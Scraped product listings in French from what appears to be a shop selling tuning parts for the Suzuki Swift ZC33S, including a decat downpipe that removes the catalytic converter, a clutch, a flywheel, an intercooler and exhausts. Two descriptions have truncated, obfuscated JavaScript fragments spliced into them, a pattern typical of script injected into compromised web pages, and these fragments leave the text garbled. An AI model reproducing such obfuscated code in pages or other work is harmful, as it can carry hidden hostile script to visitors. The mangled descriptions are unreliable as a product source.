Quel est votre vehicule?
Downpipe decat pour Swift ZC33S thermique
directement en sortie de turbo, supprime le cata principale. permet de remonnter les parechaleurs en place function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Engagement très franc, adapté aux haut régimes à répétition grâce au poids réduit de son disque Made in Japan Butée non incluse POur Suzuki 1.4T K14C couple : 350Nm Amorti.
Code moteur : K14C Améliore le refroidissement et limite la perte de pression Réduit le temps de réponse Améliore nettement les performances Montage rapide et aisé Fabriqué au Japon
Volant en alliage chrome moly, équilibré, spécifique pour le véhicule Made in Japan Adapté aux embrayage d'origine ou renforcé Améliore nettement la montée en régime Poids: 5kg (origine 8.4kg)
Fabriqué au Royaume-Uni, noyau de refroidisseur soudé de haute qualité Construction de tubes et d'ailerons à 9 rangées (noyau OEM à 8 rangées) Réservoirs d'extrémité à haut débit Aucune modification requise pour installer Evite le régulateur de vitesse européen sans perte de performance Baisse prouvée des températures d'entrée d'air de 26,5 ° C en...
Kit de deux grilles , cadre en fibre renforcée de plastique (FRP) Maillage en aluminium Finition gelcoat noire Fait main au Japon Augmente le refroidissement function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...
Silencieux final pour Swift ZC33S thermique inoxcar
Kit admission avec filtre haut débit et conduit tout aluminium.
Silencieux final pour Swift ZC33S thermique inoxcar
Fabriqué en Allemagne l'aide de technologie de pointe (scanner 3d, banc de test) Finition poudrée noir haut de gamme Volume 10L contre 5 d'origine Gain en température Made in Germany